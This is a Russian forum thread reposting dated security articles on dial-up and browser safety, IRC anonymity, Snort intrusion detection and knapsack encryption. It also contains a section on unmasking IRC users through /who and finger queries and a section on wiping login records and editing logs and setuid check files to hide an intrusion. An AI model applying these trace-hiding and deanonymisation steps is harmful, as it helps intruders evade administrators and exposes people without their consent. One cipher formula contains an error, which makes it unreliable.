Andrew: 4. Безопастность Dial-up пользователям Я пользуюсь динамическим IP адресом - стоит ли мне заботиться о безопасности? Хотя и бытует мнение,что нет,на самом деле это все враки. Во-первых, если приблизительно известен временной диапазон, в котором компьютер может быть подключен к Internet,то произвести сканирование всего пространства динамических адресов провайдера - не так уж сложно. Во-вторых,многие атаки производятся «наугад» - без какой-либо конкретной цели. И в-третьих,динамический адрес можно успеть «засветить» на irc,www и т.п. - при пользовании практически любым сетевым сервисом. А что,собственно,мне угрожает? Да все,что угодно. Ваш копльютер могут «подвесить», причем иногда - даже для этого вообще не нужно,чтобы ваша машина принимала какие-либо соединения,могут украсть или подменить какую-либо ценную информацию. Какие базовые предосторожности необходимы? Для начала неплохо оценить,во что обойдутся возможные последствия - это поможет принять _адекватные_ меры. Если нужно подключить к Internet небольшую офисную сеть из десятка-полутора машин, да еще при том,что некоторые из них содержат конфиденциальную информацию,вполне возможно, что имеет смысл приобрести несложный firewall - или сделать его своими силами,если есть возможность. Для того,чтобы более-мнее безопасно выходить в Internet с домашнего компьютера, достаточно принять некоторые базовые предосторожности. Во-первых,нужно отключить разделение ресурсов компьютера по TCP/IP. Это можно сделать как минимум двумя способами - первый, который рекомендует фирма Microsoft состоит в том,чтобы выключить разделение ресурсов вообще (Settings -› Control Panel -› Network -› File and Print Sharing) Pазумеется, он пригоден в том случае,если вы не собираетесь активно использовать эту возможность. Второй способ - отсоединить интерфейс Netbios от TCP/IP (Settings -› Control Panel -› Network -› TCP/IP -› Properties -› Bindings) Во-вторых,полезно убедиться,что используемые версии Windows 95 или NT и сетевого ПО являются последними и что для них не выходило никаких апдейтов,сервис-паков и т.д. Ну а о том,что не нужно пользоваться сомнительным ПО, запускать любой файл,приходящий по email и вообще совершать подобные глупости,наверное, и упоминать не стоит. Напомню только,что в любом word-документе может оказаться macro-вирус ;-). Какое ПО может представлять дополнительную опасность? Почти любое ;-). Чуть подробнее: При использовании наиболее распространенных WWW browser’ов, таких как Netscape Navigator или MS Internet Explorer возможны проблемы и более серьезные,чем «падение» в результате внутренней ошибки - включая, например, чтение любого файла с вашего диска - по-настоящему, а не так,как это реализовано в дурацкой шутке,которой уже не первый год пугают лопухов. Как защититься от этого? Использовать последние версии browser’ов, в которых _известные_ «дырки» более-менее заткнуты,а если нужно в некоторой мере обезопасить себя от неизвестных - могу разве что посоветовать выключить поддержку ActiveX,Java и Javascript. В случае с email’ом - опять же,если не делать глупостей и не запускать приходящие .exe файлы (и помнить о макро-вирусах!),вряд ли придется столкнуться с большей нериятностью,чем приходящие с завидной регулярностью идиотические письма с предложениями купить что-нибудь ненужное или поучаствовать в очередной дурацкой пирамиде с посыланием денег в конверте черт-те куда. Это называется spam - и бороться с этим можно, вычисляя по заголовкам письма интернет-провайдера,допускающего подобный бардак и начиная с ним ругаться. Другого способа,по всей видимости,нет - кроме автоматизации удаления подобных писем (Inbox Assistant как раз умеет это делать). Теоретически MIME, расширенный формат сообщений, часто (а то и чаще, чем нужно) используемый в Internet _может_ представлять проблемы с безопасностью,но на практике это случается нечасто. News с точки зрения безопасности клиента не сильно отличается от email. Если вы пользуетесь IRC,то,скорее всего,самое главное - это то, что ip-адрес вашего компьютера, версия irc-клиента и зачастую тип и версия операционной системы становятся известными ну действительно всем и каждому - что явно не есть хорошо. Любителей испробовать на вас свои (чаще - не свои ;-) технические достижения может оказаться больше, чем кажется на первый взгляд. Кроме того,скрипт или даже сам irc клиент может содержать закладки с практически любыми возможностями. Больше всего неприятностей может доставить протокол dcc - кстати,его можно просто выключить в большинстве irc-клиентов. Если вы не понимаете в деталях,как работает предлагаемый скрипт - ставить его ни в коем случае нельзя - разве что если знающий человек его проверит. ICQ еще мало изучен в данном вопросе - но известно про него две вещи: a) любой клиент можно «свалить» потоком бессмысленных данных на тот порт,где он отвечает - «И это -только начало» (c) AO MMM b) он не предоставляет никаких дополнительных возможностей по сравнению с irc. Я бы вообще не рекомендовал пользоваться ICQ. Я использую старый абонентский комплект с MSIE 3.01. Насколько это опасно и что нужно сделать? Версия 3.01 MS Internet Explorer может принести несколько довольно-таки неприятных проблем с безопасностью: эта версия может запускать программы на том компьютере,где она работает - без согласия пользователя. По этой причине лучше заменить ее на более новую версию 3.02. Версия, которая в настоящий момент входит в абонентский комплект (3.02) тоже не лишена аналогичной ошибки,но во-первых,она относится не к самому MSIE,а к его совместному использованию с PowerPoint’ом, а во-вторых _такая_ ошибка (пока) известна только одна. Да и fix к ней имеется. К сожалению,мы пока не имеем возможности заменить версию MSIE внутри абонентского комплекта (программа для его генерации в «лучших» традициях фирмы Microsoft довольно-таки закрытая) на _самый_ последний релиз 3.02 («Last Updated June 13, 1997»),но эта разница уже не столь принципиальна. Что, вкратце, можно сказать про Netscape Communicator 4.0-release? Эта версия,также как и предыдущие версии Web-browser’ов фирмы Netscape, имеет баг в реализации javascript, позволяющий (при стандартных установках) читать любой файл с вашего компьютера. Можно либо заменить ее на версию 4.01, либо изменить установки Netscape так, чтобы эта опасность перестала быть актуальной (меню Security Advisor - включить подтверждения на отправку данных по сети). Почему меры безопасности не принимает провайдер? Дело в том, что, например, запретив обращения к портам,используемым Windows/Samba для разделения ресурсов, мы лишим наших клиентов возможности использовать это для вполне законных и иногда даже необходимых целей. Поэтому мы обеспечиваем безопасность на своем участке сети - и ваша задача обеспечить ее на своем. Я,конечно, могу помочь это сделать - но не обязан делать это бесплатно ;-). Мне пришло письмо с предупреждением о вирусе, распространяющемся через email.. Подобная бредятина распространяется по сети уже не первый год - это просто очередной вариант «святого письма». Тот факт,что рост Internet’a обеспечивает постоянный приток свежих идиотов,готовых рассылать всем такие вещи - поистине удручает. Самая большая опасность,которой подвергает свои жертвы этот вирус - возможность пополнить вышеупомянутые ряды. Является ли UUCP подключение полностью безопасным? Практически - да. Полностью - нет. Практически - потому,что что во-первых, случаи «взлома» uucp почти не известны - для этого нужна прямая связь с атакуемой машиной именно по протоколу uucp. Однако,по крайней мере в некоторых версиях самой популярной реализации uucp для *DOS - uupc/@ by Ache мной был обнаружен баг, позволяющий обойти встроенную защиту обработчика команды uucp и прочитать/записать любой файл в любом директории - всего лишь используя относительный путь вида ~/../../somewhere. А во-вторых, оффлайновый способ взаимодействия машины с сетью делает невозможным получение информации немедленно и облегчает обнаружение попыток взлома.
Andrew: 5. Анонимность mIRC Статья взята с HACK-INFO Hy кто не знает пpо IRC, это гениальное изобpетение, позволяющее с помощью пpогpаммы-клиента mIRC (а еще лyчше pIRCH), yстановленной на вашем компьютеpе, общаться в pеальном вpемени и обмениваться файлами с любым человеком в Интеpнете! IRC настолько попyляpна, что многие люди пpоводят в IRC больше вpемени, чем бpодя по WWW. И коль скоpо для многих людей это часть жизни, следyет подyмать и о privacy в этой виpтyальной жизни. Вы - дичь: Ваша privacy может подвеpгается опасности в IRC по следyющим пpичинам: 1. Возможность пpослyшивания того, что вы говоpите дpyгомy человекy пpи общении один на один. Здесь все довольно пpосто: если вы считаете, что обсyждаемый вопpос конфиденциален, не пользyйтесь общением на канале, даже если кpоме вас и вашего собеседника на нем никого нет. Hе пользyйтесь командой /msg или окном query, что одно и то же. Вся инфоpмация пpоходит чеpез IRC сеpвеp и технически может быть записана. Вместо этого воспользyйтесь DCC (Direct Client to Client). Пpи этом инфоpмация бyдет пеpедаваться вашемy собеседникy напpямyю, минyя сеpвеp, от котоpого можно даже отключиться после yстановления связи по DCC. В пpинципе, и этy инфоpмацию можно pасшифpовать на любом из yзлов, чеpез котоpый yстановлена связь междy вами и вашим собеседником, но это сложно. Если вы хотите быть yвеpены в полной пpиватности вашей беседы, воспользyйтесь методами, описанными в главе Защищенный pазговоp. 2. Сбоp инфоpмации о том, на каких каналах вы находитесь, с последyющей идентификацией вашей личности. Допyстим, политический деятель, скpывающий свою гомосексyальнyю оpиентацию, часто бывает в IRC. Бyдyчи yвеpенным в свой анонимности, он частенько заходит на канал #russiangay или #blackleather. Общается с людьми. Встyпает в пеpепискy, не называя, понятное дело, своего pеального имени. А потом находит все свои письма опyбликованными в какой-нибyдь вонючей бyльваpной газетенке типа Московского Комсомольца. Hе очень пpиятно. Hо ситyация вполне возможная. О том, как можно собpать инфоpмацию о человеке в IRC, pассказано в pазделе Вы - охотник. Здесь пpиведем pекомендации, позволяющие снизить pиск идентификации вашей личности. Итак, пеpвое. Если вы хотите быть анонимны, не yказывайте свой настоящий адpес e-mail в соответствyющем поле в Setup. Во-втоpых, станьте «невидимы». Это свойство позволяет вам оставаться необнаpyженным пpи попытке любого пользователя, не знающего точное написание вашего nick, найти вас в IRC по имени вашего домена или userid (часть вашего e-mail, стоящая пеpед знаком @), использyя командy /who или /names. (см. ниже). Это делается командой /mode $me +i, котоpая может быть для yдобства включена в список команд, автоматически выполняемых пpи подключении (mIRC Options=›Perform). В последних веpсиях mIRC 5.** надо пpосто поставить галочкy напpотив Invisible Mode в диалоговом окне Setup. В-тpетьих, не давайте свой адpес людям в IRC, в добpопоpядочности котоpых вы не yвеpены. Или, по кpайней меpе, давайте свой альтеpнативный адpес. Вот, пожалyй, и все, что можно сделать. В-четвеpтых отключите всевозможные ident в ваших IRC клиентах. А тепеpь pассмотpим, что и как дpyгие люди в IRC могyт о вас yзнать (или вы о них). Вы - охотник: Оговоpюсь, что мы бyдем исходить из пpедположения, что имя домена или IP адpес пользователя в IRC подделать очень сложно, и подавляющее большинство людей этим не занимаются, хотя такие методы и есть. Hа yм пpиходят два метода: IP spoofing и использование специального пpокси сеpвеpа, способного поддеpживать IRC пpотокол. Техника, называемая IP spoofing (обман IP), весьма сложна в пpименении. Хакеpские сайты пpедлагают пользователям Windows 95 с веpсией Winsock 2.0 и выше несколько пpогpамм для подобных пpоделок. 1. Поиск пользователей по доменy, имени, и userid. Довольно мощным сpедством поиска по какой-либо известной части инфоpмации о пользователе (или гpyппе пользователей) является команда /who, о котоpой почемy-то нет ни слова в mIRC’овском Help файле. Стpанно, пpавда. Делая запpос о пользователе командой /whois, мы обычно полyчаем пpимеpно такой текст: ShowTime ~mouse@ml1_12.linknet.net * May flower ShowTime on #ircbar #newbies ShowTime using Oslo-R.NO.EU.Undernet.org [194.143.8.106] Scandinavia Online AS End of /WHOIS list. Команда /who позволяет задать маскy для поиска пользователей по любой части их доменного имени, userid или имени (то, что в поле Real Name). Допyстим, мы ищем людей из домена global.de. Синтаксис таков: /who *global.de* Или ищем всех пользователей из Сингапypа: /who *.sg* Или мы yже общались с господином ShowTime, и хотим найти его опять: /who *mouse*, или /who *flower* Так же могyт найти и вас, если вы не воспользyйтесь командой /mode $me +i, как было описано выше. 2. Опpеделение адpеса электpонной почты. Задача довольно сложная, но иногда выполнимая. Hачнем с «лобовой» атаки. Команда /ctcp ShowTime userinfo (или, пpоще, чеpез меню) покажет нам e-mail address, yказанный самим пользователем. Посколькy мало кто сообщает свой настоящий адpес, надежды на пpавдивый ответ мало. Если домен полyченного адpеса совпадает с тем, что следyет за знаком @ в ответе, полyченном на запpос /whois, то веpоятность того, что адpес yказан пpавдивый, повышается. Следyющая возможность - использовать инфоpмацию, содеpжащyюся в ответе на запpос /whois. Имя домена подделать кpайне сложно, поэтомy мы навеpняка знаем, что пользователь ShowTime из домена linknet.net. Это пеpвый шаг. Часто вместо бyквенной стpоки после знака @ следyет цифpовой IP адpес, котоpый по той или иной пpичине не опpеделился пpи подключении пользователя к сеpвеpy. Его можно попытаться опpеделить командой /DNS ShowTime. Если pезyльтат полyчен, то пеpеходим к следyющемy абзацy. Если нет, то попpобyем еще один способ. Воспользовавшись пpогpаммой WS Ping32 (http://www.glasnet.ru/glasweb/rus/wsping32.zip), или CyberKit (http://www.chip.de/Software/cyber.zip), сделаем TraceRoute с yказанием цифpового адpеса. Пpогpамма пpоследит пyть от вашего IP адpеса до искомого IP, пpинадлежащего ShowTime. Последний из опpеделившихся по имени адpесов yкажет, скоpее всего, на имя домена пользователя. Едем дальше. У нас есть либо полное имя, соответствyющее IP адpесy пользователя под кличкой ShowTime (ml1_12.linknet.net), либо, в хyдшем слyчае, только имя домена (linknet.net). В пеpвом слyчае мы можем попытаться, воспользовавшись командой finger (либо в одной из двyх вышеyпомянyтых пpогpамм, либо пpямо в mIRC, где есть кнопка Finger пpямо на Tool Bar’е), опpеделить всех текyщих пользователей из домена linknet.net. Для этого мы делаем finger адpеса @linknet.net (userid не yказываем). Пpи yдачном стечении обстоятельств мы полyчим что-нибyдь в этом pоде: Trying linknet.net Attempting to finger @linknet.net [linknet.net] Login Name TTY When Where root 0000-Admin console Fri 16:27 henroam John Brown pts/1 Tue 10:57 pckh68.linknet.net pailead Jack White pts/2 Tue 11:03 ml4_17.linknet.net oneguy Michael Lee pts/3 Tue 11:08 ml1_12.linknet.net sirlead6 Joan Jackson pts/4 Tue 11:05 ml4_16.linknet.net End of finger session Вот он наш ml1_12, пpинадлежит oneguy@linknet.net. Отметим, что иногда инфоpмация в ответ на finger-запpос может быть выдана только пользователю из того же домена, к котоpомy пpинадлежит адpес, котоpый вы хотите идентифициpовать. Решение пpостое: найдите пользователя из искомого домена (/who *linknet.net*), и попpосите его сделать finger запpос. И в пеpвом, и во втоpом слyчае есть еще одна возможность. Если «охотникy» известно pеальное имя или фамилия искомого пользователя, можно послать figer-запpос в виде имя@домен или фамилия@домен. Hапpимеp, finger на John@some.net может нам дать список всех пользователей по имени John с их login’ами. Вот, пожалyй, и все известные автоpy сpедства, котоpые есть y «охотника».
Andrew: 6. Теория и практика обнаружения сетевых атак. Данная статья представляет собой введение в теорию обнаружения сетевых атак. Кроме того, в ней представлен обзор одного из продуктов рынка систем обнаружения вторжений (IDS) - Snort, являющегося некоммерческим и, на мой взгляд, одним из лучших представителей IDS. Итак, начнем с теории... Обнаружение атак или вторжений можно разделить на 2 категории по факту и времени анализа. К первой можно отнести анализ информации, собранной за какой-либо конечный срок; ко второй - анализ в реальном времени. Отвергать одну из категорий - грубейшая ошибка администратора безопасности. Для точного анализа с принятием адекватных решений и действий на вторжение необходимо учитывать информацию, как получаемую в данный момент, так и уже имеющуюся. Т.е. подразумевается наличие опыта (набора или базы знаний) системы (хотя и администратор тоже должен быть не глупый). Далее, после получения информации, производится ее анализ, который может сводиться либо к наложению фильтров (наиболее простой, хотя и в достаточной степени эффективный способ) либо анализ на основе интеллектуальной системы. Под наложением фильтров понимается сравнение массива или «базы» с заранее заложенными «регулярными выражениями» (имеющими некоторый уровень определенности либо определенными полностью, и ранжированными по степени доверия или внимания) с данной информацией и выявление интересующих нас событий. А под интеллектуальной подразумевается система, способная на основе уже полученных ранее знаний (данные знания не «забиваются» в систему, а абсорбируются в базу на основе алгоритмов системы - следует вывод, что чем лучше спроектированы алгоритмы абсорбции, тем выше уровень интеллектуальности, - хотя уровня искусственного интеллекта добиться вряд ли получится - так что без человека здесь, увы, не обойтись - единственное, это только возможно свести к минимуму усилия им затрачиваемые) вычленять необычные события (в данном случае используется статистика событий). Также данная система должна быть способна анализировать на будущее (так называемая экспертная система) - т.е. по ранее полученным данным и информации, получаемой в данный момент, строить предположения о дальнейшем развитии событий. Для накопления «знаний» интеллектуальными системами им необходимо время адаптации (обучения) в данной среде, в течение которого происходит изучение и накопление событий в «базу знаний». (Вообще-то, на этапе обучения не плохо бы изолировать систему в среду с имитацией «нормальной работы», но имитация то как раз и является одним из сложных этапов - ведь одна ошибка может привести к полной неработоспособности системы в дальнейшем.) Опять же при использовании только одного метода анализа мы рискуем что-либо упустить (один метод может дать анализ точнее чем другой). Например, отказ от использования фильтров может стоить того, что мы упустим какое-либо очевидное проявление атаки. В последствии, в зависимости от результата анализа, система должна среагировать. В данном случае мы можем подразделить системы еще на 2 типа - активные и пассивные. Пассивные системы производят журналирование системы и сообщают о необычных проявлениях активности. Тогда как активные системы производят действия направленные на защиту от данной опасности или блокировку ее. Но активные системы не всегда оправдывают себя: например, системы, производящие блокировку какого-либо хоста при определении сканирования с его стороны, могут быть использованы злоумышленником - он может преднамеренно (за счет спуффинга пакетов) ограничить доступ к хосту с такой системой. Хотелось бы отметить, что при построении системы обнаружения сетевых атак необходимо рассматривать все возможности получения и анализа информации. Также, система должна быть сбалансирована в зависимости от данной сети - ее топологии и расположения - что существенно влияет еще и на выбор средств обнаружения. А теперь рассмотрим IDS Snort. Данная система представляет собой анализатор событий сети в реальном времени, производящий как анализ трафика, так и запись пакетов сети. Она позволяет анализировать как содержимое так и состояние трафика. Snort может использоваться как снифер, логгер сетевых пакетов либо как система слежения за сетевой активностью. Нас интересует последнее, т.е. возможность обнаружения атак. Итак, Snort можно охарактеризовать как систему, производящую анализ фильтрами (при большой базе знаний способен выявить практически все атаки - а кроме этого, он (практически полностью) дает характеристику трафика - от пингов (даже ОС выдает), до попыток доступа к irc, icq и т.п.). В файле конфигурации можно объявлять переменные, которые могут использоваться нами в дальнейшем. Общий вид такой - i ИМЯ_ПЕРЕМЕННОЙ значение. Обращаться к этой переменной можно потом так - $ИМЯ_ПЕРЕМЕННОЙ. Структура фильтра (правила) такова: func proto src_ip/mask src_port_range -› dst_ip/mask dst_port_range (options) Не буду особо вдаваться в подробности, а приведу лишь пример достаточной гибкости таких правил. func - функция действия - alert, log, pass. proto, src_ip/mask, src_port_range, dst_ip/mask, dst_port_range - протокол, адрес_источника/маска, порт(ы)_источника, адрес_назначения/маска, порт(ы)_назначения - соответственно. вместо -› можно использовать ‹› для обозначения двусторонней передачи. (options) - поле опций коих достаточное кол-во, где описываются фильтры состояния и содержания пакета. Опции имеют вид - имя_опции:значение Вот, на мой взгляд, основные опции: msg - сообщение которое будет выводится в случае совпадения с данным фильтром. flags - TCP флаги (S,F,A,U,P,R,0,1-reserved bit,2-reserved bit), можно использовать 0 если нет флагов. ttl - время жизни пакета. content - содержание пакета. itype - номер типа icmp. icode - номер кода icmp. seq, ack - номер последовательности и подтверждения TCP. id - идентификатор фрагмента. logto - в какой файл производить журналирование данного события. ipopts - опции пакета. Есть и другие (см. документацию). Предположим мы хотим определять пакеты с установленными одновременно флагами SYN, FIN и RST. Вот так будет выглядеть данное правило: alert tcp any any -› any any (msg:«А флаги то странные!»; flags: SFR;) - все достаточно просто... Кроме этого он способен (точнее один из его плагинов - Snort построен на основе системы плагинов, что позволяет нам добавлять новые средства анализа или реакций) следить за аномальным поведением в сети - выявлять подозрительную активность (некая интеллектуальная система) - так называемый Spade (лопатка). Она собирает статистику пакетов за определенный промежуток времени, и производит вычисление степени аномальности пакета (хотя, можно настроить чтобы данный плагин сообщал о каком либо проценте пакетов) и при превышении нормы начинает жаловаться... Кроме того, эти данные интересно анализировать, и можно сделать выводы, когда ваша сеть наиболее загружена. :) Также он способен реагировать в зависимости от результата анализа (совпадения с фильтрами) - может посылать RST-пакеты завершающие соединение как жертве, так и атакующему (пока еще не реализована возможность запуска каких-либо скриптов или программ - есть повод написать плагин). Это одна из опций - resp - может принимать значения: rst_snd, rst_rcv, rst_all - посылает пакет завершения отправителю, получателю или обоим сразу соответственно icmp_net, icmp_host, icmp_port, icmp_all - посылает пакет недоступности сети, хоста, порта или все ответы сразу соответственно Т.е. определим, например, переменную запрета данного соединения - i RESP_TCP_URG resp:rst_all теперь напишем правило, которое в случае конекта к нам на порт 111 вырубало бы соединение. alert tcp $ENEMY_NET any -› $HOME_NET 111 (msg: «Kill connection to RPC!»; flags: S; $RESP_TCP_URG) Статья подошла к концу, и хотелось бы отметить, что благодаря Snort’у мной лично было выявлено множество попыток сетевых атак (на данный момент лидируют атаки против IIS они занимают первое место в моих рейтингах систем обнаружения ;). Но все-таки ограничиваться только лишь этим программным продуктом я бы не советовал... Для получения эффективной и адекватной системы обнаружения атак необходимо использовать средства разностороннего анализа!!! (хотя хотелось бы иметь единое средство).
Andrew: 7. Как научится не оставлять за собой следов ? Файлы протоколов работы (log-files). UNIX хранит системные протоколы в следующих файлах: /var/log/utmp (/etc/utmp) - запись о вашем текущем присутствии в cистеме. Используется программой who. /var/log/wtmp (/usr/adm/wtmp) - протокол всех вхождений в систему. Используется программой last. /var/log/lastlog (/usr/adm/lastlog) - Дата последнего входа в систему каждого пользователя. Выдается на экран программой login.Это не текстовые файлы и отредактировать их в vi руками не получится. Для того, чтобы стереть информацию о своём присутствии, надо использовать специальную программу, написанную для этих целей. Часто информация о входах пользователей и о некоторых их действиях (например запуск su) выдается на консоль администратору и в системный лог, который может называться /var/log/messages. Для модификации этого файла можно воспользоваться редактором ed или vi. Программа CRON. Cron - программа, которая запускает другие задачи с некоторой периодичностью. Описание этих задач и времени их запуска хранятся в файлах в двух директориях: /usr/lib и /usr/spool/cron. Файл crontab в директории /etc или /usr/lib описывает системные задачи, которые надо запускать с определённой периодичностью. Формат этого файла: минуты часы день_месяца месяц_года день_недели коммандная_строка [0-59] [0-23] [1-31] [1-12] [1-7] [путь, аргументы] Пример строки из crontab: 0 1 * * * /bin/sync Это значит, что надо запускать команду sync, содержащуюся в директории /bin в час ночи каждый день. Команды выполняемые из /usr/lib/crontab получают привилегии root (UID=0). ›В каталоге /usr/spool/crontabs, содержатся файлы имеющих имена системных account’ов. Эти файлы содержат поля, сходные с содержащимися в файле /usr/lib/crontab, но команды из этих полей выполняются с ID пользователя с именем, соответствующим имени этого файла. Формат полей аналогичен. Обычно с помощью утилиты cron запускаются программы, проверяющие целостность системы: проверяются длинна и/или контрольные суммы файлов, наличие в системе пользователей с UID=0, и т.д. О всех подозрительных явлениях пишется письмо root’у. При модификации файлов cron пишется протокол в файл /usr/adm/cronlog. В некоторых системах, например во FreeBSD существуют командные файлы /etc/daily, /etc/weekly и /etc/monthly. /etc/daily запускается cron’ом ежедневно в 2:00am и сравнивает информацию выдаваемую по команде ls -laT для всех suid’ных файлов с информацией предыдущего дня. Иными словами /etc/daily сравнивает /var/log/setuid.today и /var/log/setuid.yesterday. О всех изменениях посылаются письмо администратору. Так что, если вы изменили или добавили какой-нибудь SUID’ный файл, не забудьте сделать соответствующие изменения в этих двух файлах. P.S Пиплы на самом деле в этом нет ничего сложного, даже при моём маленьком знании Linux(я всего то прочитал пару книг, пару десятков статей, помощь, факи, мануалы) я смог в этом разобраться и написать статью. Не бойтесь экспериментировать, изучайте и вскоре вам не понадобится помощь окружающих, вы сами сможете настраивать и поделывать систему под себя, обходить ловушки и хитрости. Учите учите и ещё раз учите :)
Andrew: 8. Применение криптографии в вопросах защиты данных, на примере рюкзачной системы шифрования Вот все говорят “безопасность”, а как на практике всё это применить? Именно практическому аспекту криптографии посвящена эта работа. Сейчас вопросы защиты информации стоят наиболее остро. Это связано как с общим бурным развитием информационных технологий, так и c появлением новых языков и технологий программирования самостоятельно не способных решить все проблемы безопасности, кроме как административным методом. 1. К чему это? Например, в XML-документе хранятся в открытом виде логины и пароли пользователей удаленной базы данных, что позволяет злоумышленнику, при условии чтения, им данного файла, осуществлять практически неограниченные изменения в базе данных. В качестве основного средства ограничивающего доступ к конфиденциальной информации можно использовать метод хранения информации в закодированном виде. Проблема решается следующим образом. Указанный XML документ кодируется и в закодированном виде хранится на сервере. При обращении к этому файлу на сервере запускается декодер, который декодирует и выполняет XML-документ на сервере, без создания открытой копии документа на жестком диске. Остановимся подробнее на механизме доступа к данным. Могу привести свой пример, для которого программа и была написана. Интернет пользователь формирует запрос, через WWW-интерфейс к WEB-сайту. После запуска файла INDEX.php, данный скрипт формирует обычную HTML-страницу со статическими ссылками, заголовками и т.д. Между тегами “‹?php” и “?›” расположен текст скрипта, который добавляет динамичность в страницу, т.к. “налету” обрабатывает файл students.xml, и если там появились новые узлы, тут же показывает их в таблице. Заметим, что в файле students.xml хранятся в открытом виде логины и пароли пользователей базы данных. Рис 1 Рис 1. После применения разработанной программы процесс доступа к данным несколько меняется (Рис 2.). После формирование запроса скриптом index.php на выполнение файла students.xml, последний файл автоматически декодируется на сервере лишь в том случае, если пользователь правильно ввёл свой секретный ключ, после чего выполняется. Конечно, даже если пользователь ввёл неверный секретный ключ, декодирование всё равно осуществляется, однако вместо XML-файла с логинами и паролями получается абракадабра и students.xml соответственно не обрабатывается. Пользователю становится доступна только информация сформированная после обработки файла students.xml. Рис 2 Рис 2. 2. Примененный алгоритм на основе «проблемы рюкзака» «Проблема рюкзака» (или «ранца») может быть сформулирована следующим образом. Пусть задано множество натуральных чисел А = (a1, а2,..., аn) и натуральное число S. Требуется установить, имеется ли такое подмножество множества А, сумма элементов которого была бы равна S. Эквивалентной является следующая формулировка: существует ли такой набор чисел хi из (0,1) , i‹=n , для которого е аi *хi = S (1‹=i‹=n). Данная проблема получила свое название в связи с тем, что поставленная задача может быть переформулирована также в следующем виде. Имеется набор предметов с известными весами и рюкзак, который может выдержать вес, не превышающий заданной величины. Можно ли выбрать набор предметов для погрузки в рюкзак так, чтобы они в точности имели максимально возможный вес. «Проблема рюкзака» является весьма сложной, ее решение с полиномиальной сложностью в настоящее время не известно. Идея построения системы шифрования на основе проблемы рюкзака заключается в выделении некоторого подкласса задач об укладке рюкзака, решаемых сравнительно легко, и «маскировки» задач этого класса (с помощью некоторого преобразования параметров) под общий случай. Параметры подкласса определяют секретный ключ, а параметры модифицированной задачи – открытый ключ. В качестве легко решаемой задачи Р. Меркль и М. Хеллман в 1978 г. предложили задачу об укладке «супервозрастающего» рюкзака. Изложим ее суть. Назовем супервозрастающей последовательность натуральных чисел (b1,b2,..., bn ), обладающую свойством bi›е bj , 1‹=j‹=i-1 , 2‹i‹n Можно убедиться в том, что проблема рюкзака для супервозрастающей последовательности может быть решен помощью процедуры, состоящей в выполнении следующих шагов: 1. Положить i = n; 2. Если i›1, то положить хi равным 1 и S равным S – bi , если S›bi , и положить хi равным 0 в противном случае; 3. Положить i равным i–1 и возвратиться к шагу 2. В системе, основанной на проблеме рюкзака, величина S является параметром системы. Для вычисления открытого и соответствующего секретного ключа каждый из абонентов системы осуществляет следующую последовательность действий. 1. Выбирает супервозрастающую последовательность (b1, b2,..., bn), и модуль m такой, что m›е bi , 1‹=i‹=n 2. Выбирает случайное число W, 1‹W‹m-1, такое что НОД(W,m) =1 3. Выбирает случайную перестановку pi чисел (1, 2,...,n). 4. Вычисляет аi =(W* bp (i) ) mod (n) для i=1…n. Открытым ключом является набор (а1 ,а2,...,аn), секретным ключом – набор (pi , m, W, (b1, b2,…,bn)). Чтобы зашифровать сообщение М, предназначенное для абонента А, абонент В осуществляет следующие шаги с помощью открытого ключа (а1, а2,...,аn) абонента А: 1. Представляет М в виде бинарной последовательности М = М1М2 ...Мn длины n; 2. Вычисляет С =е Мi *ai, i=1…n и направляет его к А . Абонент А, получив С, вычисляет Н = (W-1 *C ) mod (m) , а затем, решая проблему рюкзака для супервозрастающей последовательности, находит числа zi , i = (0,1) такие, что H=е zi*bi , (i=1,…,n). Биты последовательности Мi вычисляются по формуле: Mi=zpi (i) , i=1,…,n Корректность проведенной процедуры расшифрования вытекает из следующих рассуждений. Поскольку H=W-1*C=W-1*е Мi*ai = (е Мi*bp (i)) (mod m) и 0‹H‹m, то H=е Мi*bp (i), (i=1,…,n) , и, следовательно, алгоритм решения проблемы рюкзака действительно находит биты открытого текста, переставленные в соответствии с перестановкой pi. 3. Реализация алгоритма В качестве примера, приведём программу которая шифрует/дешифрует текстовые файлы заменяя один символ другим, вычисляя его по алгоритму на основе «проблемы рюкзака». В данном случае, алгоритм применяется к байтам, т.е. символам текста. Приложение - rukzak.cpp (Скачано 234 раз) Программа включает в себя универсальный кодер-декодер способный работать с любыми текстовыми файлами, и имеющий гибкую возможность манипулирования входными параметрами, что делает практически невозможным его использование посторонними лицами с целью дешифрования информации. В процессе создания программы была использован простой и удобный интерфейс, позволяющий выполнить следующие действия: 1. Кодирование входного файла -задание параметров его шифрования; т. е. секретного ключа (pi , m, W, (b1, b2,…,bn)). Естественно вы можете не все указанные параметры вводить каждый раз при кодировании, можно задать их статично в теле самой программы, однако не стоит забывать, что чем больше параметров вашего секретного ключа надо знать для кодирования/декодирования тем сложнее злоумышленнику дешифровать ваши данные. 2. Расшифрование файла -задание параметров расшифрования; т. е. тех же самых параметров указанных выше - (pi , m, W, (b1, b2,…,bn)). Конечно, можно ещё немного схитрить. Например, при расшифравании запрашивать параметры, которые не требовалось вводить при кодировании (при кодировании они заданы заранее), но это уже дело вашей фантазии. 4. Немного о криптоанализе рюкзачной системы шифрования Заметим, что предложенная реализация алгоритма шифрует текстовые файлы заменяя один символ другим. Очевидно что в данной ситуации возможно успешное примение атаки на основе частотного анализа. Например по следующему простейшему алгоритму: 1. Подсчёт частоты встречаемости шифрообозначений, а также их некоторых сочетаний (например по 2, 3, 4 - символа). 2. Выявление шифрообозначений, заменяющих один символ соответствующим ему другим. 3. Выдвижение гипотез о значениях шифрообозначений и их проверка. Здесь можно использовать практически любую достоверную и не очень информацию об открытом тексте, например если заранее известен формат (XML) или набор используемых символов. Следует уточнить, что реализация алгоритма шифрования поддаётся совершенствованию, и только для наглядности она представлена в данном виде. Приведём несколько советов, как можно это сделать: 1. Можно кодировать один символ нескольмими - WORDом например; 2. Ничто не мешает кодировать не по одному символу, а сразу несколько символов. 3. Приведенные выше методы, к сожалению не избавляют от раскрытия кода на основе статистического анализа. Для предотвращения этого можно добавить любую, хотя бы самую простую, зависимость одного шифруемого символа от другого, например соседнего (или нескольких символов). Заметим, что вне зависимости от реализации рюкзачный алгоритм шифрования не идеален. Доказано, что существует алгоритм полиномиальной сложности, который может быть использован противником для получения открытого текста М по шифротексту С. Пусть противнику известна последовательность {аi}, этот алгоритм находит пару таких целых чисел u1, m1, что отношение u1/ m1 близко к отношению u/m (где u= W-1 mod (m), a W, m являются частью секретного ключа). Кроме того, числа Bi = ( ui * аi) mod (m), 1‹i‹n, образуют супервозрастающую последовательность. Эта последовательность затем используется противником вместо (b1, b2,...,bn) для дешифрования сообщения. Понятие идеальности алгоритма в криптографии вообще очень сложное. В определённых случаях нам нужен DES, RSA или 